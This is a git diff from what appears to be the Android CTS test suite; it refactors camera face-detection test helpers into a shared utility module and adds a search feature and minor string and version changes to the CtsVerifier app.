-rw-r--r--tests/tests/security/AndroidManifest.xml13
-rw-r--r--tests/tests/security/AndroidManifest_PackageSignatureTest.xml49
-rw-r--r--tests/tests/security/AndroidTest_PackageSignatureTest.xml47
-rw-r--r--tests/tests/security/res/raw/sig_android_telephony_cts_testkey.binbin0 -> 1529 bytes
-rw-r--r--tests/tests/security/res/raw/sig_build_bazel_examples_apex_minimal.binbin0 -> 1513 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cert.binbin0 -> 1025 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_adbd.binbin0 -> 1571 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_adservices.binbin0 -> 1493 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_adservices_api.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_appsearch.binbin0 -> 1557 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_art.binbin0 -> 1569 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_bluetooth.binbin0 -> 1599 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_btservices.binbin0 -> 1581 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_car_framework.binbin0 -> 1499 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_cellbroadcast.binbin0 -> 1563 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_compos.binbin0 -> 1485 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_connectivity_resources.binbin0 -> 1607 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_extservices.binbin0 -> 1585 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_geotz.binbin0 -> 1483 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_core_permissions.binbin0 -> 1523 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_power.binbin0 -> 1501 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_sensors.binbin0 -> 1505 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_thermal.binbin0 -> 1505 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_usb.binbin0 -> 1497 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_vibrator.binbin0 -> 1507 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hardware_wifi.binbin0 -> 1599 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_hotspot2_osulogin.binbin0 -> 1555 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_i18n.binbin0 -> 1365 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_ipsec.binbin0 -> 1573 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_mediaprovider.binbin0 -> 1625 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_neuralnetworks.binbin0 -> 1393 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_os_statsd.binbin0 -> 1297 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_permission.binbin0 -> 1583 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_rkpd.binbin0 -> 1457 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_runtime.binbin0 -> 1503 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_safetycenter_resources.binbin0 -> 1607 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_sdkext.binbin0 -> 1575 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_uwb.binbin0 -> 1479 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_uwb_resources.binbin0 -> 1577 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_vibrator_drv2624.binbin0 -> 1517 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_vibrator_sunfish.binbin0 -> 1595 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_virt.binbin0 -> 1571 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_vndk.binbin0 -> 1571 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_wifi.binbin0 -> 1579 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_wifi_dialog.binbin0 -> 1585 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_wifi_resources.binbin0 -> 1579 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_cf_apex.binbin0 -> 1485 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_emulated_camera_provider_hal.binbin0 -> 1521 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_a.binbin0 -> 817 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_b.binbin0 -> 817 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_a.binbin0 -> 835 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_b.binbin0 -> 835 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_blob_helper_cert.binbin0 -> 803 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_blob_helper_cert2.binbin0 -> 805 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_keyset_test_a.binbin0 -> 783 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_keyset_test_b.binbin0 -> 783 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_keyset_test_c.binbin0 -> 783 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_keyset_test_ec_a.binbin0 -> 382 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_net_app.binbin0 -> 774 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_testkey1.binbin0 -> 1196 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_testkey2.binbin0 -> 1196 bytes
-rw-r--r--tests/tests/security/res/raw/sig_cts_uicc_2021.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256.binbin0 -> 368 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256_2.binbin0 -> 369 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256_3.binbin0 -> 370 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256_4.binbin0 -> 383 bytes
-rw-r--r--tests/tests/security/res/raw/sig_ec_p256_5.binbin0 -> 381 bytes
-rw-r--r--tests/tests/security/res/raw/sig_keyset_A.binbin0 -> 765 bytes
-rw-r--r--tests/tests/security/res/raw/sig_keyset_B.binbin0 -> 368 bytes
-rw-r--r--tests/tests/security/res/raw/sig_rro_remounted_test_a.binbin0 -> 783 bytes
-rw-r--r--tests/tests/security/res/raw/sig_rsa_2048.binbin0 -> 765 bytes
-rw-r--r--tests/tests/security/res/raw/sig_sdk_sandbox.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_security_cts_test_cert.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_shell_as_test_app_key.binbin0 -> 1039 bytes
-rw-r--r--tests/tests/security/res/raw/sig_test_cert_1.binbin0 -> 368 bytes
-rw-r--r--tests/tests/security/res/raw/sig_test_cert_2.binbin0 -> 369 bytes
-rw-r--r--tests/tests/security/res/raw/sig_test_cert_3.binbin0 -> 370 bytes
-rw-r--r--tests/tests/security/res/raw/sig_test_cert_4.binbin0 -> 383 bytes
-rw-r--r--tests/tests/security/res/raw/sig_testcert.binbin0 -> 1540 bytes
-rw-r--r--tests/tests/security/res/raw/sig_unit_test.binbin0 -> 802 bytes
-rw-r--r--tests/tests/security/res/values/strings.xml15
-rw-r--r--tests/tests/security/res/xml/device_admin_cve_2021_0600.xml20
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java137
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java86
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java22
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20234.java69
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2023_20927.java90
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2023_21283.java69
-rw-r--r--tests/tests/security/src/android/security/cts/PackageSignatureTest.java82
-rw-r--r--tests/tests/telephony/current/AndroidTest.xml2
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java6
-rw-r--r--tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java12
-rw-r--r--tests/tests/textclassifier/res/layout/main.xml2
-rw-r--r--tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java98
-rw-r--r--tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java12
-rw-r--r--tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java24
-rw-r--r--tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java2
-rw-r--r--tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java4
-rw-r--r--tools/cts-tradefed/Android.bp2
-rw-r--r--tools/cts-tradefed/res/config/cts-known-failures.xml12
-rw-r--r--tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml1
381 files changed, 12531 insertions, 2293 deletions
diff --git a/apps/CameraITS/tests/scene2_a/test_num_faces.py b/apps/CameraITS/tests/scene2_a/test_num_faces.py
index 96232403c3d..93cfecb9c09 100644
--- a/apps/CameraITS/tests/scene2_a/test_num_faces.py
+++ b/apps/CameraITS/tests/scene2_a/test_num_faces.py
@@ -32,13 +32,7 @@ import opencv_processing_utils
_CV2_FACE_SCALE_FACTOR = 1.05 # 5% step for resizing image to find face
_CV2_FACE_MIN_NEIGHBORS = 4 # recommended 3-6: higher for less faces
_CV2_GREEN = (0, 1, 0)
-_CV2_RED = (1, 0, 0)
-_FACE_CENTER_MATCH_TOL_X = 10 # 10 pixels or ~1.5% in 640x480 image
-_FACE_CENTER_MATCH_TOL_Y = 20 # 20 pixels or ~4% in 640x480 image
-_FACE_CENTER_MIN_LOGGING_DIST = 50
_FD_MODE_OFF, _FD_MODE_SIMPLE, _FD_MODE_FULL = 0, 1, 2
-_MIN_NUM_FACES_ALIGNED = 2
-_MIN_CENTER_DELTA = 15
_NAME = os.path.splitext(os.path.basename(__file__))[0]
_NUM_FACES = 3
_NUM_TEST_FRAMES = 20
@@ -46,81 +40,6 @@ _TEST_REQUIRED_MPC = 34
_W, _H = 640, 480
-def eliminate_duplicate_centers(coordinates_list):
- """Checks center coordinates of OpenCV's face rectangles
-
- Method makes sure that the list of face rectangles' centers do not
- contain duplicates from the same face.
-
- Args:
- coordinates_list: list; coordinates of face rectangles' centers
- Returns:
- non_duplicate_list: list; coordinates of face rectangles' centers
- without duplicates on the same face
- """
- output = set()
-
- for i, xy1 in enumerate(coordinates_list):
- for j, xy2 in enumerate(coordinates_list):
- if distance.euclidean(xy1, xy2) < _MIN_CENTER_DELTA:
- continue
- if xy1 not in output:
- output.add(xy1)
- else:
- output.add(xy2)
- return list(output)
-
-
-def match_face_locations(faces_cropped, faces_opencv, mode, img, img_name):
- """Assert face locations between two methods.
-
- Method determines if center of opencv face boxes is within face detection
- face boxes. Using math.hypot to measure the distance between the centers,
- as math.dist is not available for python versions before 3.8.
-
- Args:
- faces_cropped: list of lists with (l, r, t, b) for each face.
- faces_opencv: list of lists with (x, y, w, h) for each face.
- mode: int indicating face detection mode
- img: np image array
- img_name: text string with path to image file
- """
- # turn faces_opencv into list of center locations
- faces_opencv_center = [(x+w//2, y+h//2) for (x, y, w, h) in faces_opencv]
- cropped_faces_centers = [
- ((l+r)//2, (t+b)//2) for (l, r, t, b) in faces_cropped]
- faces_opencv_center.sort(key=lambda t: [t[1], t[0]])
- cropped_faces_centers.sort(key=lambda t: [t[1], t[0]])
- logging.debug('cropped face centers: %s', str(cropped_faces_centers))
- logging.debug('opencv face center: %s', str(faces_opencv_center))
- faces_opencv_centers = []
- num_centers_aligned = 0
-
- # eliminate duplicate openCV face rectangles' centers the same face
- faces_opencv_centers = eliminate_duplicate_centers(faces_opencv_center)
- logging.debug('opencv face centers: %s', str(faces_opencv_centers))
-
- for (x, y) in faces_opencv_centers:
- for (x1, y1) in cropped_faces_centers:
- centers_dist = math.hypot(x-x1, y-y1)
- if centers_dist < _FACE_CENTER_MIN_LOGGING_DIST:
- logging.debug('centers_dist: %.3f', centers_dist)
- if (abs(x-x1) < _FACE_CENTER_MATCH_TOL_X and
- abs(y-y1) < _FACE_CENTER_MATCH_TOL_Y):
- num_centers_aligned += 1
-
- # If test failed, save image with green AND OpenCV red rectangles
- image_processing_utils.write_image(img, img_name)
- if num_centers_aligned < _MIN_NUM_FACES_ALIGNED:
- for (x, y, w, h) in faces_opencv:
- cv2.rectangle(img, (x, y), (x+w, y+h), _CV2_RED, 2)
- image_processing_utils.write_image(img, img_name)
- logging.debug('centered: %s', str(num_centers_aligned))
- raise AssertionError(f'Mode {mode} face rectangles in wrong location(s)!. '
- f'Found {num_centers_aligned} rectangles near cropped '
- f'face centers, expected {_MIN_NUM_FACES_ALIGNED}')
-
-
def check_face_bounding_box(rect, aw, ah, index):
"""Checks face bounding box is within the active array area.
@@ -187,32 +106,6 @@ def check_face_landmarks(face, fd_mode, index):
raise AssertionError(f'Unknown face detection mode: {fd_mode}.')
-def correct_faces_for_crop(faces, img, crop):
- """Correct face rectangles for sensor crop.
-
- Args:
- faces: list of dicts with face information
- img: np image array
- crop: dict of crop region size with 'top, right, left, bottom' as keys
- Returns:
- list of face locations (left, right, top, bottom) corrected
- """
- faces_corrected = []
- cw, ch = crop['right'] - crop['left'], crop['bottom'] - crop['top']
- logging.debug('crop region: %s', str(crop))
- w = img.shape[1]
- h = img.shape[0]
- for rect in [face['bounds'] for face in faces]:
- logging.debug('rect: %s', str(rect))
- left = int(round((rect['left'] - crop['left']) * w / cw))
- right = int(round((rect['right'] - crop['left']) * w / cw))
- top = int(round((rect['top'] - crop['top']) * h / ch))
- bottom = int(round((rect['bottom'] - crop['top']) * h / ch))
- faces_corrected.append([left, right, top, bottom])
- logging.debug('faces_corrected: %s', str(faces_corrected))
- return faces_corrected
-
-
class NumFacesTest(its_base_test.ItsBaseTest):
"""Test face detection with different skin tones.
"""
@@ -281,7 +174,8 @@ class NumFacesTest(its_base_test.ItsBaseTest):
# draw boxes around faces in green
crop_region = cap['metadata']['android.scaler.cropRegion']
- faces_cropped = correct_faces_for_crop(faces, img, crop_region)
+ faces_cropped = opencv_processing_utils.correct_faces_for_crop(
+ faces, img, crop_region)
for (l, r, t, b) in faces_cropped:
cv2.rectangle(img, (l, t), (r, b), _CV2_GREEN, 2)
@@ -315,8 +209,8 @@ class NumFacesTest(its_base_test.ItsBaseTest):
faces_opencv = opencv_processing_utils.find_opencv_faces(
img, _CV2_FACE_SCALE_FACTOR, _CV2_FACE_MIN_NEIGHBORS)
if fd_mode: # non-zero value for ON
- match_face_locations(faces_cropped, faces_opencv,
- fd_mode, img, img_name)
+ opencv_processing_utils.match_face_locations(
+ faces_cropped, faces_opencv, img, img_name)
if not faces:
continue
diff --git a/apps/CameraITS/tests/scene2_d/test_autoframing.py b/apps/CameraITS/tests/scene2_d/test_autoframing.py
index db0fa3ae530..cb1ac90bd63 100644
--- a/apps/CameraITS/tests/scene2_d/test_autoframing.py
+++ b/apps/CameraITS/tests/scene2_d/test_autoframing.py
@@ -30,6 +30,7 @@ import opencv_processing_utils
_AUTOFRAMING_CONVERGED = 2
_CV2_FACE_SCALE_FACTOR = 1.05 # 5% step for resizing image to find face
_CV2_FACE_MIN_NEIGHBORS = 4 # recommended 3-6: higher for less faces
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
_NUM_TEST_FRAMES = 150
_NUM_FACES = 3
_W, _H = 640, 480
@@ -84,6 +85,21 @@ class AutoframingTest(its_base_test.ItsBaseTest):
# Face detection and autoframing could take several frames to warm up,
# but should detect the correct number of faces before the last frame
if autoframing_state == _AUTOFRAMING_CONVERGED:
+ # Save image when autoframing state converges
+ control_zoom_ratio = cap['metadata']['android.control.zoomRatio']
+ logging.debug('Control zoom ratio: %d', control_zoom_ratio)
+ img = image_processing_utils.convert_capture_to_rgb_image(
+ cap, props=props)
+ file_name_stem = os.path.join(self.log_path, _NAME)
+ img_name = f'{file_name_stem}.jpg'
+
+ # Save images with green boxes around faces
+ crop_region = cap['metadata']['android.scaler.cropRegion']
+ faces_cropped = opencv_processing_utils.correct_faces_for_crop(
+ faces, img, crop_region)
+ opencv_processing_utils.draw_green_boxes_around_faces(
+ img, faces_cropped, img_name)
+
num_faces_found = len(faces)
if num_faces_found != _NUM_FACES:
raise AssertionError('Wrong num of faces found! Found: '
@@ -91,14 +107,10 @@ class AutoframingTest(its_base_test.ItsBaseTest):
# Also check the faces with open cv to make sure the scene is not
# distorted or anything.
- img = image_processing_utils.convert_capture_to_rgb_image(
- cap, props=props)
opencv_faces = opencv_processing_utils.find_opencv_faces(
img, _CV2_FACE_SCALE_FACTOR, _CV2_FACE_MIN_NEIGHBORS)
- num_opencv_faces = len(opencv_faces)
- if num_opencv_faces != _NUM_FACES:
- raise AssertionError('Wrong num of faces found with OpenCV! Found: '
- f'{num_opencv_faces}, expected: {_NUM_FACES}')
+ opencv_processing_utils.match_face_locations(
+ faces_cropped, opencv_faces, img, img_name)
break
# Autoframing didn't converge till the last frame
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index b55168527a1..b6bf677d0ff 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -388,7 +388,8 @@ class MultiCameraAlignmentTest(its_base_test.ItsBaseTest):
if (media_performance_class >= _TEST_REQUIRED_MPC and
not should_run and
cam.is_primary_camera() and
- has_multiple_same_facing_cameras):
+ has_multiple_same_facing_cameras and
+ props['android.lens.facing'] == _LENS_FACING_BACK):
logging.error('Found multiple camera IDs %s facing in the same '
'direction as primary camera %s.',
cameras_facing_same_direction, self.camera_id)
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 0df3fd0d701..99815a9822a 100755
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -29,6 +29,7 @@ import image_processing_utils
import its_session_utils
import numpy as np
import yaml
+import lighting_control_utils
YAML_FILE_DIR = os.environ['CAMERA_ITS_TOP']
CONFIG_FILE = os.path.join(YAML_FILE_DIR, 'config.yml')
@@ -986,6 +987,16 @@ def main():
cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER'
subprocess.Popen(cmd.split())
+ # establish connection with lighting controller
+ lighting_cntl = test_params_content.get('lighting_cntl', 'None')
+ lighting_ch = test_params_content.get('lighting_ch', 'None')
+ arduino_serial_port = lighting_control_utils.lighting_control(
+ lighting_cntl, lighting_ch)
+
+ # turn OFF lights
+ lighting_control_utils.set_lighting_state(
+ arduino_serial_port, lighting_ch, 'OFF')
+
if num_testbeds is not None:
if testbed_index == _MAIN_TESTBED:
logging.info('Waiting for all testbeds to finish.')
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
index 63ca2af10bc..adf3daef6e7 100644
--- a/apps/CameraITS/utils/opencv_processing_utils.py
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -21,6 +21,8 @@ import pathlib
import cv2
import numpy
+from scipy.spatial import distance
+
import capture_request_utils
import error_util
import image_processing_utils
@@ -50,6 +52,7 @@ CIRCLE_LOCATION_VARIATION_RTOL = 0.05 # tolerance to remove similar circles
CV2_LINE_THICKNESS = 3 # line thickness for drawing on images
CV2_RED = (255, 0, 0) # color in cv2 to draw lines
+CV2_GREEN = (0, 1, 0)
CV2_THRESHOLD_BLOCK_SIZE = 11
CV2_THRESHOLD_CONSTANT = 2
@@ -57,6 +60,12 @@ CV2_HOME_DIRECTORY = os.path.dirname(cv2.__file__)
CV2_ALTERNATE_DIRECTORY = pathlib.Path(CV2_HOME_DIRECTORY).parents[3]
HAARCASCADE_FILE_NAME = 'haarcascade_frontalface_default.xml'
+FACES_ALIGNED_MIN_NUM = 2
+FACE_CENTER_MATCH_TOL_X = 10 # 10 pixels or ~1.5% in 640x480 image
+FACE_CENTER_MATCH_TOL_Y = 20 # 20 pixels or ~4% in 640x480 image
+FACE_CENTER_MIN_LOGGING_DIST = 50
+FACE_MIN_CENTER_DELTA = 15
+
FOV_THRESH_TELE25 = 25
FOV_THRESH_TELE40 = 40
FOV_THRESH_TELE = 60
@@ -907,3 +916,120 @@ def get_angle(input_img):
return None
return numpy.median(filtered_angles)
+
+
+def correct_faces_for_crop(faces, img, crop):
+ """Correct face rectangles for sensor crop.
+
+ Args:
+ faces: list of dicts with face information
+ img: np image array
+ crop: dict of crop region size with 'top, right, left, bottom' as keys
+ Returns:
+ list of face locations (left, right, top, bottom) corrected
+ """
+ faces_corrected = []
+ cw, ch = crop['right'] - crop['left'], crop['bottom'] - crop['top']
+ logging.debug('crop region: %s', str(crop))
+ w = img.shape[1]
+ h = img.shape[0]
+ for rect in [face['bounds'] for face in faces]:
+ logging.debug('rect: %s', str(rect))
+ left = int(round((rect['left'] - crop['left']) * w / cw))
+ right = int(round((rect['right'] - crop['left']) * w / cw))
+ top = int(round((rect['top'] - crop['top']) * h / ch))
+ bottom = int(round((rect['bottom'] - crop['top']) * h / ch))
+ faces_corrected.append([left, right, top, bottom])
+ logging.debug('faces_corrected: %s', str(faces_corrected))
+ return faces_corrected
+
+
+def eliminate_duplicate_centers(coordinates_list):
+ """Checks center coordinates of OpenCV's face rectangles
+
+ Method makes sure that the list of face rectangles' centers do not
+ contain duplicates from the same face
+
+ Args:
+ coordinates_list: list; coordinates of face rectangles' centers
+ Returns:
+ non_duplicate_list: list; coordinates of face rectangles' centers
+ without duplicates on the same face
+ """
+ output = set()
+
+ for i, xy1 in enumerate(coordinates_list):
+ for j, xy2 in enumerate(coordinates_list):
+ if distance.euclidean(xy1, xy2) < FACE_MIN_CENTER_DELTA:
+ continue
+ if xy1 not in output:
+ output.add(xy1)
+ else:
+ output.add(xy2)
+ return list(output)
+
+
+def match_face_locations(faces_cropped, faces_opencv, img, img_name):
+ """Assert face locations between two methods.
+
+ Method determines if center of opencv face boxes is within face detection
+ face boxes. Using math.hypot to measure the distance between the centers,
+ as math.dist is not available for python versions before 3.8.
+
+ Args:
+ faces_cropped: list of lists with (l, r, t, b) for each face.
+ faces_opencv: list of lists with (x, y, w, h) for each face.
+ img: numpy [0, 1] image array
+ img_name: text string with path to image file
+ """
+ # turn faces_opencv into list of center locations
+ faces_opencv_center = [(x+w//2, y+h//2) for (x, y, w, h) in faces_opencv]
+ cropped_faces_centers = [
+ ((l+r)//2, (t+b)//2) for (l, r, t, b) in faces_cropped]
+ faces_opencv_center.sort(key=lambda t: [t[1], t[0]])
+ cropped_faces_centers.sort(key=lambda t: [t[1], t[0]])
+ logging.debug('cropped face centers: %s', str(cropped_faces_centers))
+ logging.debug('opencv face center: %s', str(faces_opencv_center))
+ faces_opencv_centers = []
+ num_centers_aligned = 0
+
+ # eliminate duplicate openCV face rectangles' centers the same face
+ faces_opencv_centers = eliminate_duplicate_centers(faces_opencv_center)
+ logging.debug('opencv face centers: %s', str(faces_opencv_centers))
+
+ for (x, y) in faces_opencv_centers:
+ for (x1, y1) in cropped_faces_centers:
+ centers_dist = math.hypot(x-x1, y-y1)
+ if centers_dist < FACE_CENTER_MIN_LOGGING_DIST:
+ logging.debug('centers_dist: %.3f', centers_dist)
+ if (abs(x-x1) < FACE_CENTER_MATCH_TOL_X and
+ abs(y-y1) < FACE_CENTER_MATCH_TOL_Y):
+ num_centers_aligned += 1
+
+ # If test failed, save image with green AND OpenCV red rectangles
+ image_processing_utils.write_image(img, img_name)
+ if num_centers_aligned < FACES_ALIGNED_MIN_NUM:
+ for (x, y, w, h) in faces_opencv:
+ cv2.rectangle(img, (x, y), (x+w, y+h), tuple(numpy.array(CV2_RED)/255), 2)
+ image_processing_utils.write_image(img, img_name)
+ logging.debug('centered: %s', str(num_centers_aligned))
+ raise AssertionError(f'Face rectangles in wrong location(s)!. '
+ f'Found {num_centers_aligned} rectangles near cropped '
+ f'face centers, expected {FACES_ALIGNED_MIN_NUM}')
+
+
+def draw_green_boxes_around_faces(img, faces_cropped, img_name):
+ """Correct face rectangles for sensor crop.
+
+ Args:
+ img: numpy [0, 1] image array
+ faces_cropped: list of lists with (l, r, t, b) for each face
+ img_name: text string with path to image file
+ Returns:
+ image with green rectangles
+ """
+ # draw boxes around faces in green and save image
+ for (l, r, t, b) in faces_cropped:
+ cv2.rectangle(img, (l, t), (r, b), CV2_GREEN, 2)
+ image_processing_utils.write_image(img, img_name)
+
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 29e4577dad1..9fb158f3212 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.verifier"
android:versionCode="5"
- android:versionName="14_r2">
+ android:versionName="14_r3">
<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="34"/>
@@ -214,7 +214,9 @@
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
<meta-data android:name="CddTest"
- android:value="2.2.4/8.3/H-1-1|2.3.4/8.3/T-1-1|2.4.4/8.3/W-SR|8.3/C-SR" />
+ android:value="2.2.4/8.3/H-1-1|2.3.4/8.3/T-1-1|
+ 2.4.4/8.3/W-SR-1,8.3/W-SR-2|
+ 8.3/C-SR-1,C-SR-2" />
<meta-data android:name="ApiTest" android:value="android.os.PowerManager#isPowerSaveMode" />
</activity>
@@ -4516,10 +4518,13 @@
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
+ <action android:name="android.intent.action.SEARCH" />
<category android:name="android.intent.category.LAUNCHER" />
<category android:name="android.intent.category.LEANBACK_LAUNCHER" />
</intent-filter>
+ <meta-data android:name="android.app.searchable"
+ android:resource="@xml/searchable"/>
</activity-alias>
<!-- <activity-alias-->
@@ -6838,6 +6843,7 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_input"/>
<meta-data android:name="ApiTest" android:value="android.view.InputDevice#getUsiVersion" />
+ <meta-data android:name="display_mode" android:value="single_display_mode" />
</activity>
<!-- Components used for CTS Verifying Capture Content For Notes APIs. -->
diff --git a/apps/CtsVerifier/res/menu/test_list_menu.xml b/apps/CtsVerifier/res/menu/test_list_menu.xml
index 2c104a0a34b..95bfd5877e9 100644
--- a/apps/CtsVerifier/res/menu/test_list_menu.xml
+++ b/apps/CtsVerifier/res/menu/test_list_menu.xml
@@ -13,4 +13,10 @@
android:icon="@android:drawable/ic_menu_save"
android:title="@string/export"
android:showAsAction="ifRoom" />
+ <item
+ android:id="@+id/search_test"
+ android:title="@string/search_title"
+ android:actionViewClass="android.widget.SearchView"
+ android:showAsAction="collapseActionView|ifRoom"
+ android:imeOptions="actionSearch" />
</menu>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 854b380a6d9..d7cd7856239 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -33,6 +33,9 @@
<string name="fail_and_next_button_text">Fail and Next</string>
<string name="yes_string">Yes</string>
<string name="no_string">No</string>
+ <string name="search_label">TestListActivity</string>
+ <string name="search_hint">Search Tests</string>
+ <string name="search_title">Search</string>
<!-- Strings for CtsReportLog warning -->
<string name="reportlog_warning_title">CTS-Verifier Report Log</string>
@@ -4462,7 +4465,7 @@ You should be prompted to select credentials; choose the ones you just installed
Set \'%s\' user restriction by turning on the switch below.
</string>
<string name="disallow_add_user">Disallow add user</string>
- <string name="disallow_add_user_action">Accessing the multiple users settings page, or if the device allows access to the page, then attempting to add a new user </string>
+ <string name="disallow_add_user_action">Accessing the multiple users settings page, or if the device allows access to the page, then attempting to enable the feature </string>
<string name="disallow_adjust_volume">Disallow adjust volume</string>
<string name="disallow_adjust_volume_action">Adjusting the volume\n
NOTE: If the device does not support volume adjustment in Settings app please skip this test and mark it as passing.\n</string>
@@ -6946,7 +6949,7 @@ Follow the instructions on the screen to measure the frequency response for the
\n1. Ensure that the test is already started on the reference device.
\n2. Input the device ID of the reference device (displayed on the reference device) into the provided field and click "Start Test"
\n3. The test is automatically stopped and passed (or failed) when all the required data is collected
- \n4. The test is passed if the median RSSI from both DUT and reference device is between -65dBm and -45dBm.
+ \n4. The test is passed if the median RSSI from both DUT and reference device is between -65dBm and -35dBm.
\nReference device instructions
\n1. Ensure that the "Is reference device" checkbox is checked, then click, "Start Advertising"
</string>
diff --git a/apps/CtsVerifier/res/xml/searchable.xml b/apps/CtsVerifier/res/xml/searchable.xml
new file mode 100644
index 00000000000..a443c076ee3
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/searchable.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<searchable xmlns:android="http://schemas.android.com/apk/res/android"
+ android:label="@string/search_label"
+ android:hint="@string/search_hint" >
+</searchable> \ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index b79840c4c1f..c37788d97a7 100644
